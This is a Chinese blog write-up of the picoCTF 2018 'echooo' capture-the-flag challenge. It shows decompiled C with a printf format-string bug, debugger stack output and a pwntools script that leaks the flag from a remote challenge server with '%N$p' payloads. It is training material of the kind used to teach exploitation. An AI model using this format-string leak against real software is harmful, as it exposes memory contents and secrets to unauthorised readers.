



picocf_2018_echooo

原创

[z1r0.](#)  于 2022-03-12 12:36:45 发布  139  收藏

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[buuctf 题目](#) 专栏收录该内容

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订阅专栏

picocf_2018_echooo

查看保护

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

```
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3     __gid_t v3; // ST24_4
4     FILE *stream; // [esp+18h] [ebp-90h]
5     char s; // [esp+1Ch] [ebp-8Ch]
6     char v6; // [esp+5Ch] [ebp-4Ch]
7     unsigned int v7; // [esp+9Ch] [ebp-Ch]
8
9     v7 = __readgsdword(0x14u);
10    setvbuf(stdout, 0, 2, 0);
11    v3 = getegid();
12    setresgid(v3, v3, v3);
13    memset(&s, 0, 0x40u);
14    memset(&v6, 0, 0x40u);
15    puts("Time to learn about Format Strings!");
16    puts("We will evaluate any format string you give us with printf().");
17    puts("See if you can get the flag!");
18    stream = fopen("flag.txt", "r");
19    if ( !stream )
20    {
21        puts(
22            "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
23        exit(0);
24    }
25    fgets(&v6, 64, stream);
26    while ( 1 )
27    {
28        printf("> ");
29        fgets(&s, 64, stdin);
30        printf(&s);
31    }
32 }
```

CSDN @z1r0.

格式化字符串漏洞

攻击思路: flag在栈上, 所以直接格式化字符串泄露即可, 但是在这里需要注意小端序

```
03:000c | 0xffffcde8 -> 0x804b1a0 <- 0xfbad2488
04:0010 | 0xffffcdec -> 0x8048647 (main+76) <- mov dword ptr [
eax
05:0014 | 0xffffcdf0 <- 0x40 /* '@' */
06:0018 | 0xffffcdf4 -> 0xf7ffdb98 -> 0xf7ffdb30 -> 0xf7fc33f0 ->
<- ...
07:001c | 0xffffcdf8 -> 0xffffce74 <- 0xffffffff
08:0020 | 0xffffcdfc -> 0xffffcf54 -> 0xffffd14a <- '/home/z1r0/c
uuctf/picoctf_2018_echooo/z1r0'
09:0024 | 0xffffce00 -> 0xffffce4c <- 'flag{test}\n'
0a:0028 | 0xffffce04 <- 0x3e8
0b:002c | 0xffffce08 -> 0x804b1a0 <- 0xfbad2488
0c:0030 | 0xffffce0c <- 0x0
... ↓
1c:0070 | eax 0xffffce4c <- 'flag{test}\n'
1d:0074 | 0xffffce50 <- '{test}\n'
pwndbg> fmtarg 0xffffce4c
The index of format argument : 28 ("%27$p")
```

CSDN @z1r0.

在28的偏移开始, 这时笔者直接用循环来爆破的, 最后的结果为11, 因为12的时候是null。

注意: 小端序, 两种方式, 直接倒着输出, 或者取每一个字节然后chr倒着拼接。

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26540)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

flag = ''

for i in range(11):
    print('[+] i = ' + str(i))
    p1 = '%' + str(i + 27) + '$p'
    r.sendline(p1)
    r.recvuntil('> 0x')
    addr = int((r.recvuntil('\n')[:-1]), 16)
    a = (addr & 0xff000000) >> 24
    b = (addr & 0x00ff0000) >> 16
    c = (addr & 0x0000ff00) >> 8
    d = addr & 0x000000ff
    flag += chr(d) + chr(c) + chr(b) + chr(a)

print('[+] flag = ' + flag)

r.interactive()
```